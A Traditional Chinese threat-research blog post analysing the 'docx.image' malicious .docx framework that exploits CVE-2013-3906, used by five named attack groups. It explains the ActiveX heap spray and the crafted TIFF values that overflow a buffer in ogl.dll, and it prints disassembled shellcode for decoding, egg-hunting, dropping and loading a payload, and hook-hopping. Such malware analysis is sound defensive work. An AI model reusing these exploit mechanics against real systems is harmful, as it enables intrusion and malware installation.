作者:Wayne Huang、Wilson Chiou、以及阿碼證點與 Proofpoint 美國、歐洲團隊
(英文版本同步發行於 Proofpoint 官方部落格)
近期我們了解,攻擊者針對之前的 CVE-2013-3906 零時差漏洞所設計的攻擊文件,採用了多種新的技術,而至目前為止,至少被五組不同之攻擊集團所使用。我們稱這個框架為「docx.image」惡意文件框架,並認為它會成為以後惡意文件攻擊的樣版。我們利用此篇紀錄一下近期「docx.image」惡意文件架構被利用的狀況,並較深入解析此新惡意文件框架的設計原理。我們從兩個面向深入:
a)惡意文件架構設計與所使用的技術
b)採用的攻擊集團與所散播惡意軟體
這兩個面向讓我們對於此攻擊之發展,有了相當不錯的理解與觀察角度。我們先列出我們的結論,然後再提供詳細的分析資料。
[結論]
- 由於架構完整並內含數個較新的技術,我們認為 docx.image 架構會成為以後惡意文件攻擊的樣版
- 「docx.image」惡意文件框架,是利用了微軟 Word .docx 的檔案格式,其實也就是 ECMA-376 ("Ecma Office Open XML")格式,與之前傳統的 .doc 檔案格式很不一樣。
- 「docx.image」文件攻擊包的設計,可以很容易置換其中的惡意代碼(shellcode)與負載(payload),而不需要動到整個 .docx 文件。
- 第 I 類型被第一組攻擊者 「Janicab」(俄國,擅長 Windows / MacOS 雙軌齊下,利用 Youtube 來中繼交換後門指令,全球都打)與第二組攻擊者 「Arlab」(印度打巴基斯坦與克羅埃西亞,我們命名的)所使用,文件本身即內含 payload 與惡意程式。Shellcode 用 XOR 加殼,payload 為一個 dll(a.l)。shellcode 將其寫入磁碟後,呼叫 LoadLibrary 將其執行。藉此 dll(a.l) 內嵌有惡意軟體 a.exe 與假乾淨文件,一樣利用 XOR 脫殼後,取出利用。
- 第 II 類型被第三組攻擊者「Operation Hangover」(印度打巴基斯坦與伊朗)、第四組「Taidoor」(專打台灣,此次 email:公共工程委員會 / 103年度公共場所錄影監視規劃.docx)、與第五組「Winnti」(專打亞洲,著眼線上遊戲相關)等三組針對性攻擊團體所利用。惡意文件本身不內含 payload 與惡意程式,由 shellcode 使用 URLDownloadToFileA API 來下載惡意程式並執行之。
- 第 II 類型的 shellcode 採用了反沙盒(反 hooking)的 hook-hopping 技術,而 第 I 類型並未使用。
- 兩類型皆實做了「ActiveX heap spray」-- 利用 Word 本身的功能來完成 heap spraying,所以看不到 heap spray 的相關攻擊碼。同時,可以利用單一個圖檔,重複噴灑,而不需要於 Word 內部內嵌多個圖檔,徒增檔案大小以及特徵。
- 在第 I 類型之中,shellcode 利用 egg-hunting 來找到 payload,然後透過 XOR 脫殼後,寫成檔案 「a.l」並使用 LoadLibrary API 執行之。
- 此「docx.image」惡意文件框架,應於今年三月時,由俄國方面的攻擊者完成,後銷售給本文中之五個針對性攻擊團體使用。
- 兩類型的惡意 .docx 文件,都會在成功植入後門後,將原本的惡意 .docx 檔案「毀屍滅跡」,置換成一個乾淨的 .docx 檔案。
- 三月底:利用此漏洞的攻擊程式由俄方面研究成功(docx 中遺留下不少俄文),而其中許多檔案的建立日期為三月下旬至四月初。
- 7月7日:Janicab 團體首次對 Proofpoint 的客戶發動攻擊,惡意程式是 VBE 寫的,利用 Youtube 來中繼交換後門指令。雖然當時我們台灣阿碼科技做出的雲端沙盒偵測平台,幫 Proofpoint 擋下了這一波攻擊,但是當時我們並未查覺這波惡意文件的針對性攻擊是針對 CVE-2013-3906 這個零時差漏洞進行攻擊。
- 7月22日: Avast 發表關於 Janicab 集團的攻擊事件。Avast 當時並未意識該次攻擊乃利用了CVE-2013-3906 這個零時差漏洞。Janicab 團體是第一個被發現使用 docx.image 惡意文件架構進行攻擊的團體。
- 9月27日:「Arlab」集團(我們命名的)開始使用 docx.image 惡意文件攻擊 Proofpoint 的客戶。我們的雲端沙盒偵測平台於當時完封此波攻擊。當時我們並未發覺仍是利用此零時差漏洞。事後透過資料庫中的紀錄,我們發現了此「Arlab」針對性攻擊團體,並成功取得了對方的感染紀錄檔、程式、與工具。此團體以印度成員為主,對象則鎖定巴基斯坦與克羅埃西亞。當時他們利用 docx.image 散播植入 Citadel 後門。「Arlab」為第二個被發現使用 docx.image 惡意文件架構的針對性攻擊團體。
- 11月5日:McAfee 注意到有第三個集團使用 docx.image 惡意文件架構進行攻擊,並且也注意到,所打的是一個零時差漏洞:CVE-2013-3906。McAfee 是第一個向微軟回報此漏洞的資安廠商,但是其部落格文章中,並沒有特別指認出,或去研究該攻擊團體。
- 11月6日:FireEye 於部落格文章中,寫到了有關第二個團體(我們取名「Arlab」,FireEye取名 「Arx」)和第三個團體(Operation Hangover,McAfee 沒有指出這點)。同時,我們獨立的研究,顯示這一波的攻擊的受害者主要是針對巴基斯坦和克羅埃西亞兩國的目標。
- 11月12日:FireEye 指出,已有第四個團體使用 docx.image 惡意文件架構:專門攻擊台灣的 Taidoor 團體。這個集團主要是針對臺灣為目標。(此次 email:公共工程委員會 / 103年度公共場所錄影監視規劃.docx)。我們的研究顯示,這次攻擊對於 docx.image 架構的用法,很類似 Janicab 團體的用法。
- 11月14日:卡巴斯基發佈第五個集團使用此框架: Winnti 集團。此集團專打亞洲,著眼線上遊戲相關目標,以及竊取線上遊戲的程式碼。我們的研究顯示,這次 Winnti 對於 docx.image 架構的用法,很類似 Arlab 集團。
在二種類型中,第 I 類型的漏洞利用攻擊程式比較複雜,所以我們接下來,將第 I 類型作為我們分析的基礎。
[解析 docx.image 惡意文件架構,第 I 類型]
docx.image 惡意程式框架到底有什麼特殊?上述提及的五個團體又做了什麼客製化動作,以達成目的?
我們來看 Arlab 集團攻擊的方式。Arlab 客製化 docx.image 架構,做出了一個微軟的 Word .docx 文件,然後利用 email 的方式,將該文件傳送給攻擊目標。.docx 文件是一種 ECMA-376 ("Ecma Office Open XML") 文件,與之前傳統的 Word .doc 文件,在格式上有很大的不同。.docx 檔案整個是一個 .zip 檔,所以我們可以直接將附檔名改成 .zip,然後用系統的檔案總管,將一個 .docx 檔案解壓開來。
Arlab 所送出的惡意 .docx 文件,整包的架構如下圖:
被攻擊的目標收到這個 .docx 檔案,若將之點開,如果環境對,就會被植入 Citadel 後門。此外,這個 .docx 內部所附的 payload,還會在成功植入後門後,將原本的惡意 .docx 檔案「毀屍滅跡」,置換成一個乾淨的 .docx 檔案。
我們首先列出上述過程的每個步驟,然後逐步來分析:
第 1 步: 目標受害者打開 .docx 文件, 由於文件本身的設計,Word 開始在記憶體中做 heap spray。
第 2 步: .docx 文件內部有個 image2.tiff 圖形檔(內部是一張 jpg 圖),Word 開始想辦法將該圖顯示出來。
第 3 步: 由於該 image2.tiff 中的特殊設計,造成 Word 的記憶體被溢位(透過 ogl.dll)。
第 4 步: shellcode 被執行起來,並將自身脫殼。
第 5 步: shellcode 取得 18 個有用到的 kernel32 API 函式的指標。
第 6 步: shellcode 利用 egg-hunting 技巧,搜尋出位於 activeX1.bin 中的 payload。
第 7 步: shellcode 將此 payload 脫殼,並以檔名 "a.l" 寫入磁碟。
第 8 步: shellcode 呼叫 LoadLibrary,將 a.l 載入執行。
第 1 步: 目標受害者打開 .docx 文件, 由於文件本身的設計,Word 開始在記憶體中做 heap spray。
所有的攻擊碼中,看不到 heap spray 的相關攻擊碼;原因是,docx.image 的設計,是利用 Word 本身的功能來完成 heap spraying。把 .docx 解開後可以看出,在 word\activeX\_rels\目錄下,activeXn.xml.rels 檔案,都有相同的內容:
<Relationship Id="rId1" Type="http://...skip..." Target="activeX.bin"/≷ </Relationships≷.docx 中,總共有 42個 activexn.xml.rels 這樣的檔案 -- 從 activex1.xml.rels 到 activex42.xml.rels,而且內容都完全相同。當受害者打開本 .docx 檔案時,Word 將檔案載入到記憶體、解壓縮它,並開始解析所有的.xml 和 xml.rels 檔案。上述的安排告訴 Word,要將 activex.bin 載入至記憶體中 42 次,所以 Word 照辦,於是就等於把 activex.bin 的內容於 heap 中噴灑了42次。您說這是不是相當有趣的 heap spray 方式呢?
第 2 步: .docx 文件內部有個 image2.tiff 圖形檔(內部是一張 jpg 圖),Word 開始想辦法將該圖顯示出來。
我們注意到在 word\ 目錄下(正確的名稱是「儲存,store」), 有個指向 image2.tiff 的 document.xml 檔案,裡面有俄文:"Рисунок"("圖"):
<wp:docPr id="7" name="Рисунок 6" descr="image1.tiff"/>這是當初 docx.image 的研發人員所留下的 「殘留物」,整個 .docx 中其實找不到任何 "image1.tiff" 檔案。然而,由 word\_rels\document.xml.rels 所指到的 "media/image2.tiff" 檔案,則是存在的:
<Relationship Id="rId53" Type="http://schemas...skip...relationships/" Target="media/image2.tiff"/>因此,此時 Word 會嘗試載入並秀出 image2.tiff。
第 3 步: 由於該 image2.tiff 中的特殊設計,造成 Word 的記憶體被溢位(透過 ogl.dll)。
為了要秀出 image2.tiff,Word 使用了以下 .dll 中的函式:
C:\Program Files (x86)\Common Files\microsoft shared\OFFICE12\OGL.DLL該 .dll 就是本漏洞 CVE-2013-3906 的所在位置。TIFF 的檔案格式中規定,一個 TIFF 檔案的第 2 個 DWORD,描述了該檔中第一個 IFD (Image File Directory) 於檔案中的相對位置:
typedef struct _TiffHeader { WORD Identifier; /* Byte-order Identifier */ WORD Version; /* TIFF version number (always 2Ah) */ DWORD IFDOffset; /* Offset of the first Image File Directory*/ } TIFHEAD;我們來看一下 docx.image 惡意文件的檔頭長得如何:
從上圖我們可以看到, 第一個 IFD 的所在位置是0x000049C8,所以我們到那裏:
從上面看出,TagCount = 0x0011 = 17;總共有17個 IFD。 每個 IFD 的開頭都是一個 Tag,用來指定該 IFD 的種類。以下我們把 image2.tiff 中的17個 IFD 的標記都列出來:
Tag | Type | count | val OR offset 00FE | 0004 | 00000001 | 00000000 - NewSubfileType 0100 | 0003 | 00000001 | 000002AB - ImageWidth = 2ABh (683) 0101 | 0003 | 00000001 | 00000152 - ImageLength = 152h (338) 0102 | 0003 | 00000003 | 0000331E - BitsPerSample 0103 | 0003 | 00000001 | 00000006 - Compression = JPEG 0106 | 0003 | 00000001 | 00000002 - PhotometricInterpretation 0111 | 0004 | 00000044 | 00003434 - StripOffsets 0115 | 0003 | 00000001 | 00000003 - SamplesPerPixel 0116 | 0004 | 00000001 | 00000005 - RowsPerStrip 0117 | 0004 | 00000044 | 00003324 - StripByteCounts 011A | 0005 | 00000001 | 0000330E - XResolution 011B | 0005 | 00000001 | 00003316 - YResolution 011C | 0003 | 00000001 | 00000001 - PlanarConfiguration 0128 | 0003 | 00000001 | 00000002 - ResolutionUnit = Inch 013D | 0003 | 00000001 | 00000001 - Predictor 0202 | 0004 | 00000001 | 00001484 - JPEGInterchangeFormatLength 0201 | 0004 | 00000001 | 00003544 - JPEGInterchangeFormat
當 ogl.dll 嘗試秀出 image2.tiff 時,會發現此 TIFF 中有一張 jpg 圖,於是 ogl.dll 會開始配置所需要的記憶體,大小 = JFIF_size + strip_size [0] + [1] strip_size +......+ strip_size [n-1]。所以,這裡的重點就是 StripByteCounts (0x0117)和 JPEGInterchangeFormatLength (0x0202)這兩個 IFD。
從第 16 個IFD(JPEGInterchangeFormatLength,0x0202)我們可以看出,我們 JFIF 的大小是 0x1484。那麼剩下來要算的就是 StripSize = strip_size [0] + [1] strip_size +......+ strip_size [n-1]了。
從第 10 個的 IFD(StripByteCounts,0x0117),我們可以看出,這個 IFD 有 0x44 strips,而且在檔案中的相對位址為 0x3324。那麼我們就到 image2.tiff 中的 0x3324 位址處看一下。我們看到:
所以,我們如果把 0x44 strips 全部加總起來,可以得到 StripSize =0xFFFFB898 + 0x000000B2 + 0x000000B2 + 0x000000B3 + 0x000000B3 + 0x000000B1 + 0x000000B1 + … (0x44 DWORDs) = 0xFFFFEAEC。
終於,我們可以算出,要秀出該 JPG 圖,所需要配置的記憶體大小 = JFIF_size + ((0x44)*2+8) + strip_size[0] + strip_size[1]+...+strip_size[n-1] = 0x1484 + 0x90 + 0xFFFFEAEC = 0x100000000:哈,剛好溢位了,變成 0!也就是說,ogl.dll 配置了一個大小為 0 的記憶體空間,要將位於 image2.tiff 中的 JPG 圖拷貝進去,於是當然就產生了記憶體溢位。對於上述的公式,我們直接看 ogl.dll 反組譯後的程式碼,就更清楚了:
3BDC576D push ebp 3BDC576E mov ebp, esp 3BDC5770 movzx ecx, word ptr [edi+0ECh] 3BDC5777 xor eax, eax 3BDC5779 test ecx, ecx 3BDC577B push esi 3BDC577C jle short loc_3BDC5793 3BDC577E mov edx, [edi+0A0h] ; StripByteCounts table's base 3BDC577E ; address (0x3324) 3BDC5784 movzx esi, word ptr [edi+0ECh] ; 0x44 strips 3BDC578B 3BDC578B sumStripByteCounts: ; CODE XREF: sub_3BDC576D+24j 3BDC578B add eax, [edx] 3BDC578D add edx, 4 3BDC5790 dec esi 3BDC5791 jnz short sumStripByteCounts 3BDC5791 ; Sum up all 0x44 strips, 3BDC5791 ; at the end, eax = 0xFFFFEAEC 3BDC5793 3BDC5793 loc_3BDC5793: ; CODE XREF: sub_3BDC576D+Fj 3BDC5793 mov esi, [ebp+Size] ; esi = JPEGInterchangeFormatLength 3BDC5793 ; (0x1484) 3BDC5796 lea eax, [eax+ecx*2+8] 3BDC5796 ; eax += (0x44*2+8 = 0x90) 3BDC5796 ; so now, eax = 0xFFFFEB7C 3BDC579A add eax, esi ; 0xFFFFEB7C + 0x1484, overflow 3BDC579A ; eax = 0 3BDC579C push eax ; dwBytes 3BDC579D mov [edi+160h], eax 3BDC57A3 call RtlAllocateHeap ; allocate 0 bytes (writing anything 3BDC57A3 ; to the buffer will cause overflow) 3BDC57A8 test eax, eax 3BDC57AA mov [edi+164h], eax 3BDC57B0 jnz short loc_3BDC57BA 3BDC57B2 or eax, 0FFFFFFFFh 3BDC57B5 3BDC57B5 loc_3BDC57B5: ; CODE XREF: sub_3BDC576D+10Dj 3BDC57B5 pop esi 3BDC57B6 pop ebp 3BDC57B7 retn 8我們繼續往下看,接下來,ogl.dll 呼叫 memcpy() 將 JFIF(JPG 圖)複製到剛才所配置好的記憶體(該記憶體大小為 0):
3BDC57BA mov ecx, [ebp+Src] 3BDC57BD push ebx 3BDC57BE push dword ptr [edi+108h] 3BDC57C4 push esi 3BDC57C5 call sub_3BE21ADC 3BDC57CA mov ebx, eax 3BDC57CC test ebx, ebx 3BDC57CE jl loc_3BDC5890 3BDC57D4 push [ebp+Size] ; Size = 3BDC57D4 ; JPEGInterchangeFormatLength 3BDC57D4 ; (0x1484)1 3BDC57D7 mov esi, [edi+164h] 3BDC57DD push [ebp+Src] ; Src = The JFIF within the 3BDC57DD ; TIFF (JPEGInterchangeFormat) 3BDC57E0 push esi ; Dst = the 0-bytes buffer 3BDC57E0 ; previously allocated 3BDC57E1 call memcpmemcpy()會從哪裡複製到哪裡,又複製多少位元呢?它會從 IFD:JPEGInterchangeFormat(在 image2.tiff 中的第 17個 IFD)所指定的 JFIF 位址開始,拷到之前所配置的 0 位元組的記憶體內,一共會複製由 IFD:JPEGInterchangeFormatLenth (在 image2.tiff 中的第 16 個 IFD)所指定的 0x1484 個位元組。
這也就這意味著,此惡意文件會造成一次長度為 0x1484 個位元組的溢位,溢位發生的位址,是在 esi 所指的地方,所拷貝的內容,則是 JFIF,也就是 image2.tiff 中那張 JPG 圖的內容。
這張 JPG 圖的內容,將會是溢位後的重點。我們來看看,究竟這圖的內容是什麼?這張圖(JFIF)的所在位址,應該是在.docx 的 IFD:JPEGInterchangeFormat = 0x3544 這裡(見上面的 17 JFD 表)。那麼我們去 0x3544 的地方看看:
以上就是會被複製的資料了!所以從這裡開始,ogl.dll 將一共複製 0x1484 個位元組,到剛才那個配置大小為 0 的記憶體位置,並造成記憶體溢出。被這溢出所影響到的程式片段如下:
3BE2026B push ebp 3BE2026C mov ebp, esp 3BE2026E mov eax, [ebp+arg_0] 3BE20271 lea ecx, [eax+158h] 3BE20277 push ecx 3BE20278 push 0 3BE2027A push [ebp+arg_4] 3BE2027D push dword ptr [eax] 3BE2027F call dword ptr [eax+20h] ; eax+0x20 points to 08080808 3BE2027F ; due to the memory overflow最後的呼叫( call) 會跳到 eax+0x20 所記錄的位址。由於該記憶體被溢位了,溢位後的內容變成了 0x08080808,所以,這個 call 也就變成會跳到 0x08080808 那裡了。那麼 0x08080808 那裡是什麼資料呢?在第 3 步中所進行完畢的 heap spray 動作,就是造成 0x08080808 附近的記憶體,會被Word 自己噴灑成 activex.bin 的內容,也就是說,shellcode 就在那裡 :)
第 4 步: shellcode 被執行起來,並將自身脫殼。
shellcode 一如往常地,是經過 XOR 加殼的。在 docx.image 中,shellcode的大小(0x27E bytes)以及脫殼的key(0xEE)是寫死不變的,然後一開始的 shellcde 以一個簡單的 XOR 迴圈來進行脫殼:
0854 nop 0855 nop 0856 nop 0857 nop 0858 and sp, 0FFFCh 085D jmp short loc_870 085F 085F ; =============== S U B R O U T I N E ========== 085F code_decryptor proc near 085F pop ebx ; obtain address of 085F ; encrypted shellcode 0860 dec ebx 0861 xor ecx, ecx 0863 or cx, 27Eh ; hard-coded code size=0x27E 0868 0868 loc_868: ; CODE XREF: code_decryptor+Dj 0868 xor byte ptr [ebx+ecx], 0EEh 0868 ; XOR all bytes with 0xEE 0868 ; (hard-coded key: 0xEE) 086C loop loc_868 086C code_decryptor endp 086C 086E jmp short loc_875 0870 ; ---------------------------------------- 0870 0870 loc_870: ; CODE XREF: 0000085Dj 0870 call code_decryptor 0875 ; ---------------------------------------- 0875 loc_875: ; CODE XREF: 0000086Ej 0875 jmp loc_AA6 ; this part was originally 0875 ; encrypted code.第 5 步: shellcode 取得 18 個有用到的 kernel32 API 函式的指標。 這個 shellcode 總共使用了 18 個 kerner32.dll 中的 API 函式,所以現在我們必須取得這些 API 在記憶體中的位址。我們先從 PEB 中搜尋出 kernel32.dll 的起始位址,然後再利用每個函式的校驗值,撈出這 18 個函式的位址:
087A lib_dropper proc near 087A pop edi 087B mov eax, fs:LoadLibraryA; PEB 0881 mov eax, [eax+0Ch] 0884 mov esi, [eax+1Ch] 0887 lodsd 0888 0888 loc_888: 0888 mov ebp, [eax+8] ; / BEGIN 0888 ; Search for kernel32.dll base 088B mov esi, [eax+20h] 088E mov eax, [eax] 0890 cmp byte ptr [esi], 6Bh ; 'k'ernel 0893 jnz short loc_888 0895 inc esi 0896 inc esi 0897 cmp byte ptr [esi], 65h ; k'e'rnel 089A 089A loc_89A: 089A jnz short loc_888 089C inc esi 089D inc esi 089E cmp byte ptr [esi], 72h ; ke'r'nel 08A1 jnz short loc_89A 08A3 inc esi 08A4 inc esi 08A5 cmp byte ptr [esi], 6Eh ; ker'n'el 08A8 jnz short loc_89A ; \ END kernel32 search 08AA mov esi, edi ; ESI = ptr 00000AAB 08AC push 12h ; a total of 18 functions are needed 08AE pop ecx 08AF 08AF enum_proc_addresses: 08AF call Custom_GetProcAddress 08AF ; Enumerate function 08AF ; addresses into addr:ESI 08B4 loop enum_proc_addresses這 18 個被用到的函式如下:
GetTempPathA FreeLibraryAndExitThread CreateFileA CloseHandle WriteFile GetCurrentProcessId CreateToolhelp32Snapshot Thread32First Thread32Next SuspendThread OpenThread GetCurrentThreadId LoadLibraryA FreeLibrary SetFilePointer GetFileSize VirtualAlloc ReadFile第 6 步: shellcode 利用 egg-hunting 技巧,搜尋出位於 activeX1.bin 中的 payload。
Shellcode 擁有了其所需要的 API 位址後,就要開始找尋 存在於 activex1.bin 中的 payload 了。找尋的方式,是逐一查看所有被目前這個執行緒(屬 Word)所開啟的檔案,然後用 egg-hunting 技巧,設法於檔案中找出 egg。此 egg(0xB19B00B5)存在於 activex1.bin 的一開頭,目的就是為了能夠標示出 activex1.bin 於記憶體中的位置,方便我們搜尋。
為了達到以上目標,shellcode 必須先於記憶體中,找到自己本身這個 .docx 檔案。所以 shellcode 執行了以下三個動作:
A. 拿到下一個有被 Word 開啟的檔案的 handle。
B. 如果該檔案大小 < 1000 h,那這個檔一定不是我們的 .docx 檔,跳回到 A。
C. 在檔案位址 0x20 處,,讀進來 4 個位元組,判斷是否等於"cProp"?如果不是,則回到 A。
"cProp" 實際上是 "docProps" 的片段。只要是 .docx 檔案,一定會有 "docProps" 這個目錄,所以第 C 動作,是判斷此檔案是否為一個 .docx 檔案。
0915 0915 loc_915: 0915 add ebx, 4 ; / BEGIN egg-hunting for payload 0918 cmp ebx, offset unk_100000 091E ja loc_9A9 ; / BEGIN iterate through 091E ; all open file handles 0924 xor eax, eax 0926 push eax ; DWORD dwMoveMethod = FILE_BEGIN 0927 push eax ; PLONG lpDistanceToMoveHigh = 0 0928 mov al, 20h ; ' ' 092A push eax ; LONG lDistanceToMove = 0x20 092B push ebx ; HANDLE hFile 092C call ds:SetFilePointer[esi] ; set to 0x20 092F cmp eax, 0FFFFFFFFh 0932 jz short loc_915 ; \ END 0934 xor eax, eax 0936 push eax ; LPTSTR lpBuffer 0937 push ebx ; DWORD nBufferLength 0938 call ds:GetFileSize[esi] ; if size < 1000h, then 093B cmp eax, 1000h ; it is NOT the malicious docx 0940 jl short loc_915 0942 mov edi, eax 0944 sub esp, 4 0947 mov ecx, esp 0949 sub esp, 4 094C mov edx, esp 094E xor eax, eax 0950 push eax ; LPOVERLAPPED lpOverlapped = NULL 0951 push ecx ; LPDWORD lpNumberOfBytesRead 0952 push 4 ; DWORD nNumberOfBytesToRead = 0x04 0954 push edx ; LPVOID lpBuffer 0955 push ebx ; HANDLE hFile = 0 = self handle 0956 call ds:ReadFile[esi]; at offset 0x20 0959 test eax, eax 095B pop eax 095C pop ecx 095D jz short loc_915 095F cmp eax, 6F725063h ; check for do"cPro"ps 0964 jnz short loc_915 0966 sub edi, 24h ; '$' ; / BEGIN Allocate space for payload 0966 ; need: docx files size - 0x24 bytes 0966 ; (0x20 offset + 4 bytes "cProp") 0966 ; ----------------------------------- 0969 push 4 ; DWORD flProtect = PAGE_READWRITE 096B push 3000h ; DWORD flAllocationType = 096B ; MEM_COMMIT & MEM_RESERVE 0970 push edi ; SIZE_T dwSize 0971 push 0 ; LPVOID lpAddress = NULL 0973 call ds:VirtualAlloc[esi] 0976 sub esp, 4 0979 mov ecx, esp ; ---------------------------- 0979 ; \ END 097B push 0 ; LPOVERLAPPED lpOverlapped = NULL 097D push ecx ; LPDWORD lpNumberOfBytesRead 097E push edi ; DWORD nNumberOfBytesToRead 097E ; = GetTempPathA result - 0x24 097F push eax ; LPVOID lpBuffer = obtainded 097F ; via Virtual Alloc() 0980 mov edi, eax 0982 push ebx ; HANDLE hFile 0983 call ds:ReadFile[esi] 0986 test eax, eax 0988 pop edx 0989 jz short loc_9A9 098B mov eax, 0B19B00B5h ; Egg: 0xB19B00B5 0990 0990 loc_990: ; CODE XREF: lib_dropper+11Ej 0990 ; lib_dropper+128j 0990 inc edi 0991 dec edx 0992 test edx, edx ; edx == 0? 0994 jle short loc_9A9 ; edx==0 but no egg found, jump 0996 cmp [edi], eax 0998 jnz short loc_990 099A add edi, 4 099D sub edx, 4 09A0 cmp [edi], eax 09A2 jnz short loc_990 09A4 add edi, 4 09A7 jmp short loc_9F3 ; Egg has been found! 09A9 ; ----------------------------------------第 7 步: shellcode 將此 payload 脫殼,並以檔名 "a.l" 寫入磁碟。
找到 egg 後,此 egg 所在位址的前幾個位元組,就是 XOR 的 key 以及 shift 所需要使用到的參數。這兩個值,都是接下來將 payload 脫殼所需要用到的。於是接下來,shellcode 使用 XOR-shift 演算法,將緊接於 egg 後面的 payload 脫殼,並寫入磁碟為 "%temp%\a.l".
09A9 loc_9A9: 09A9 mov bx, cs 09AC cmp bl, 23h ; '#' 09AF jnz short loc_9B7 09B1 xor edx, edx 09B3 push edx 09B4 push edx 09B5 push edx 09B6 push edx 09B7 09B7 loc_9B7: 09B7 mov edx, offset unk_FFFFF 09BC 09BC loop_inc_page: 09BC or dx, 0FFFh ; add PAGE_SIZE-1 to edx 09C1 09C1 loop_inc_one: 09C1 inc edx ; increment pointer by one 09C2 push edx ; save edx 09C3 cmp bl, 23h ; '#' 09C6 jz short loc_9E1 09C8 push 2 ; push NtAccessCheckAndAuditAlarm 09CA pop eax ; pop into eax 09CB int 2Eh ; perform the syscall 09CD pop edx ; restore edx 09CE 09CE loc_9CE: 09CE cmp al, 5 09D0 jz short loop_inc_page 09D0 ; yes, invalid ptr, go to the next page 09D0 09D2 mov eax, 0B19B00B5h ; eax = Egg: 0xB19B00B5 09D7 mov edi, edx ; Set edi to the pointer we validated 09D9 scasd ; Compare the dword in edi to ea 09DA jnz loop_inc_one 09DA ; No match? Increment the pointer by one 09DC scasd ; Compare the dword in edi to eax again 09DC ; (which is now edx + 4) 09DD jnz loop_inc_one 09DD ; No match? Increment the pointer by one 09DF jmp short loc_9F3 ; Egg has been found!第 8 步: shellcode 呼叫 LoadLibrary,將 a.l 載入執行。
在這最後一個步驟中,shellcode 呼叫 LoadLibrary,載入 a.l,成功執行 payload:
09FB push ebx ; / BEGIN construct payload 09FB ; file name 09FB ; LPTSTR lpBuffer 09FC push 0FCh ; DWORD nBufferLength 09FC ; = 0xFC (252 bytes) 0A01 call ds:GetTempPathA[esi] ; %temp% 0A03 mov dword ptr [ebx+eax], 6C2E61h ; filename = "a.l" 0A0A xor eax, eax 0A0C push eax ; HANDLE hTemplateFile = NULL 0A0D push 2 ; DWORD dwFlagsAndAttributes 0A0D ; = FILE_ATTRIBUTE_HIDDEN 0A0F push 2 ; DWORD dwCreationDisposition 0A0F ; = CREATE_ALWAYS 0A11 push eax ; LPSECURITY_ATTRIBUTES 0A11 ; lpSecurityAttributes = NULL 0A12 push eax ; DWORD dwShareMode = NULL 0A13 push 40000000h ; DWORD dwDesiredAccess 0A13 ; = GENERIC_WRITE 0A18 push ebx ; LPCTSTR lpFileName 0A19 call ds:CreateFileA[esi] ; \ END 0A1C mov edx, eax 0A1E push edx 0A1F push edx 0A20 push ebx 0A21 mov al, [edi] ; key for XOR decryption 0A23 inc edi 0A24 mov bl, [edi] ; key shift 0A26 inc edi 0A27 mov ecx, [edi] 0A29 push ecx ; payload size 0A2A add edi, 4 ; EDI now points to beginning 0A2D push edi ; of encrypted payload 0A2E 0A2E XOR_shift_decrypt: ; CODE XREF: lib_dropper+1C0j 0A2E mov dl, [edi] ; / BEGIN payload decryption 0A30 xor dl, al 0A32 mov [edi], dl 0A34 inc edi 0A35 add al, bl 0A37 dec ecx 0A38 test ecx, ecx 0A3A jnz short XOR_shift_decrypt ; \ ENDPayload 被執行起來後,會將內嵌於自身內部的一個惡意程式(.exe)寫入磁碟並執行起來,然後利用也是內嵌於自身內部的一個乾淨的 .docx 檔案,覆蓋掉原本的惡意 .docx 檔案,毀屍滅跡。
[第 II類型 hook-hopping 技巧]
第 II 類型不同於第 I 類型的地方,在於:
- shellcode 使用了反沙盒(hooking)的 hook-hopping 技巧。
- 不內嵌 payload 與惡意程式,而是使用 URLDownloadToFileA 來下載惡意程式。
get_func 負責從所需要的 dll 中,撈出所需要的函式。此 shellcode 主要用到了:kernel32.dll、urlmon32.dll 和 shell32.dll:
0A45 push 0 ; LPOVERLAPPED lpOverlapped = NULL 0A47 push eax ; LPDWORD lpNumberOfBytesWritten 0A48 push ecx ; DWORD nNumberOfBytesToWrite 0A49 push edi ; LPCVOID lpBuffer 0A4A push edx ; HANDLE hFile 0A4B call ds:WriteFile[esi] 0A4E pop eax ; HANDLE hFile 0A4F call ds:CloseHandle[esi] 0A52 push ebx 0A53 call ds:LoadLibraryA[esi] 0A56 push eax 0A57 call ds:FreeLibrary[esi] 0A5A xor eax, eax 0A5C push eax 0A5D push eax 0A5E call dword ptr ds:FreeLibraryAndExitThread[esi] 0A5E lib_dropper endphook_hop 則負責執行 hook-hopping。它會檢查每個函式所在位址的第一個位元組(byte 0)。 如果發現該位元組是一個 CALL、JMP 或者 INT3 指令,則 hook_hop 會將第一個指令跳過。
0916 ; =============== S U B R O U T I N E ============= 0916 get_func proc near 0916 push ebx 0917 push eax 0918 push edi 0919 mov ebx, esi ; kernel32 base address 091B push esi 091C mov esi, [ebx+3Ch] ; get PE signature's offset 091F mov esi, [esi+ebx+78h] ; get Export Table's address = 262C 0923 add esi, ebx ; move the pointer to the Export Table 0925 push esi 0926 mov esi, [esi+20h] 0929 add esi, ebx 092B xor ecx, ecx 092D dec ecx 092E 092E loc_92E: ; CODE XREF: get_func+31j 092E inc ecx 092F lodsd ; Obtain pointer to the function name 092F ; ex: "CloseHandle" 0930 add eax, ebx 0932 push esi 0933 xor esi, esi 0935 0935 loc_935: ; CODE XREF: get_func+2Cj 0935 movsx edx, byte ptr [eax] ; / Create checksum for function's name 0938 cmp dh, dl ; | 093A jz short loc_944 ; | Break if the hit string termination 093C ror esi, 7 ; | 093F add esi, edx ; | 0941 inc eax ; | 0942 jmp short loc_935 ; \ 0944 ; ------------------------------------------------------ 0944 0944 loc_944: ; CODE XREF: get_func+24j 0944 cmp [edi], esi ; Compare the current checksum 0944 ; against the checksum list 0946 pop esi 0947 jnz short loc_92E ; if not equal iterate to the next 0947 ; function in the export table 0949 pop edx 094A mov ebp, ebx ; / Obtain the function's entry address 094C mov ebx, [edx+24h] ; | directly by parsing 094F add ebx, ebp ; | kernel32.dll structure 0951 mov cx, [ebx+ecx*2] ; | 0955 mov ebx, [edx+1Ch] ; | 0958 add ebx, ebp ; | 095A mov eax, [ebx+ecx*4]; | 095D add eax, ebp ; | 095F stosd ; \ Replace the function's checksum 095F ; with its handle 0960 pop esi 0961 pop edi 0962 add edi, 4 ; Move on to the next checksum 0962 ; in the list 0965 pop eax 0966 pop ebx 0967 retn 0967 get_func endp大致上就是這樣子。由於架構完整並內含數個較新的技術,我們認為 docx.image 架構會成為以後惡意文件攻擊的樣版。若有興趣對於分析內容做討論,或討論其他樣本,歡迎聯絡阿碼的 Wayne。
繼續閱讀全文...